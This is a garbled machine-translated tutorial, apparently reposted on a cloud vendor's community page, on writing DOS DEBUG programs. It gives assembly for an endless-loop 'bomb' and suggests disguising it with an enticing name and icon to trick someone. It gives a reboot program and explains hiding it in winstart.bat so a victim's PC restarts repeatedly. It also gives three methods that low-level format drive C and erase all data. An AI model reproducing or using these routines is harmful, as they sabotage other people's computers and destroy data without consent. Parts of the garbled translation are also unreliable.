Debug application, low-level hard disk

Source: Internet
Author: User

Debug application

Compilation of endless loop bombs

In dos, type debug, enter debug, and then type the following Assembly Code (a semicolon is followed by an explanation ):
-A100
0100: mov DL, 1; 1 is transferred to DL
0102: mov ah, 2; 2; 2 h transferred to ah
0104: int 21; call the 21 h dos program
0106: Inc dl; Add 1 to the number in DL
0108: JMP 102; return to the 102 program, both return "mov ah, 2"
Press ENTER twice
Now let's generate the COM file and enter the following command:
-N indicates the program name. There is no space between N and the program name.
-RBx; view the Bx register
Press enter. If BX is 0, press Enter.
-RcX; view CX registers
: A; number of Input Program bytes. A (hexadecimal) is 10 bytes.
-W; Write Program
Now, you can try the effect in DOS. Haha, don't hit me !!!!!! Is the computer running like a mess? haha, this is an endless loop. Now press Ctrl + break or Ctrl + C to force the stop at the same time, if you finish the command prompt with the mouse in Windows, it will be okay.
Now let's explain the implementation process of this program:
Transfers the ASCII code value of the displayed characters to the DL register, and transfers the function number of the displayed characters to AH 2 H. Execute "int 21" to display the ASCII Code of 1 h, "Inc DL" is to add a value in DL, and "JMP 102" is to jump to the "mov ah, 2" section, which is easy to understand, if this program blocks Ctrl, break, and C and maximizes the window, then it can only watch its "Love Machine" endless loop to a dead machine, you can give him a sexlady name, and then change it to a sexy icon. Now you can use it to blow up the color wolf. well, today we will talk so much. What will we talk about next time? Let's talk about the core code of keyboard bombing.
Let your computer start again and again-debug application (2)

C:/debug boot.com
-A100
-Mov ax, 0040
-Mov ds, ax
-Mov Si 0072
-Mov [Si], ax
Jmp ffff: 0
INT 20
-RcX
0014
-W
-Q
This is a hot-Start program, if used again. if the BAT file is used for automatic execution, it is a bomb that allows people to repeatedly start their computers. Maybe you will add it to autoexec. bat, but this is easy to find, there is actually an automatic batch processing file and autoexe. bat works the same way, but it is in autoexec. run the command after bat. The file name is winstart. bat. This file is a temporary file generated during software installation. When the software installation needs to be restarted and then the installation continues, the file will be generated in the Windows directory, it is automatically deleted after installation, but if you manually add this file, the system will not delete it, so that you can use this winstart program for hot start. bat is used to automatically execute this file every time he starts the computer. It is best to hide this file. It is hard for people to think of this batch of files in disorder, in this way, people's computers can be started repeatedly.
Use DEBUG low-cell hard drive
Method 1:

Directly call the low formatting program in the rom bios.

Low-cell programs are stored in the rom bios of many computers. The storage address starts from c8005h. You can use the debug g command.
. The procedure is as follows:

A:/> debug-G c800: 0005

The information displayed on the screen (the information displayed in different BIOS versions is different). Press enter and prompt:

Current interleave is 3 select new interleave or return fot current

This requires the user to select a cross factor. Press enter to take the default value. The screen then prompts:

Are you aynameically locking ing the drive-Answer Y/n

PRSs "Y" to begin formatting the drive C: With interleave 03

After typing Y, start low-level ......

Formatting ......

After the process is completed, ask whether to handle the bad track:

Do you want to format bat trackanswer y/n?

If not, use "N" to answer the question. The screen prompts:

Format successfull, system will New Restart, insert dos diskette in dirve:

Insert the system disk to drive a to perform partitioning and advanced formatting.

Method 2:

The BIOS can also be called by DOS through interrupt commands. Call the function interrupted by INT 13 H, or you can perform the hard disk
The operation is as follows:

A:/> debug

-A 100

-XXXX: 0100 mov ax, 0703; crossover factor: 3

-XXXX: 0103 mov CX, 0001; 0 channels starting from 0 sectors

-XXXX: 0106 mov dx, 0080; 0 channels for drive C

-XXXX: 0109 INT 13

-XXXX: 010b INT 3

-XXXX: 010d

-G 100; Execution starts from 0100.

In this way, the hard disk will be low!

Method 3:

Call the number 5 function of INT 13 H.

You can only use the 5th function of INT 13 h to call a hard disk on a non-grid, zero-sector, and one-sector basis, without having to uncompress the entire hard disk.
In a short time. The procedure is as follows:

A:/> debug

-A 100

-XXXX: 0100 mov ax, 0500; call the "5" Function

-XXXX: 0103 mov BX, 0180; set the buffer address

-XXXX: 0106 mov CX, 0001; 0 to 1 Sector

-XXXX: 0109 mov dx, 0080; 0 channels for drive C

-XXXX: 010b INT 13

-XXXX: 010d INT 3

-E 0180 0 0 0002; write Parameters

-G 100
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.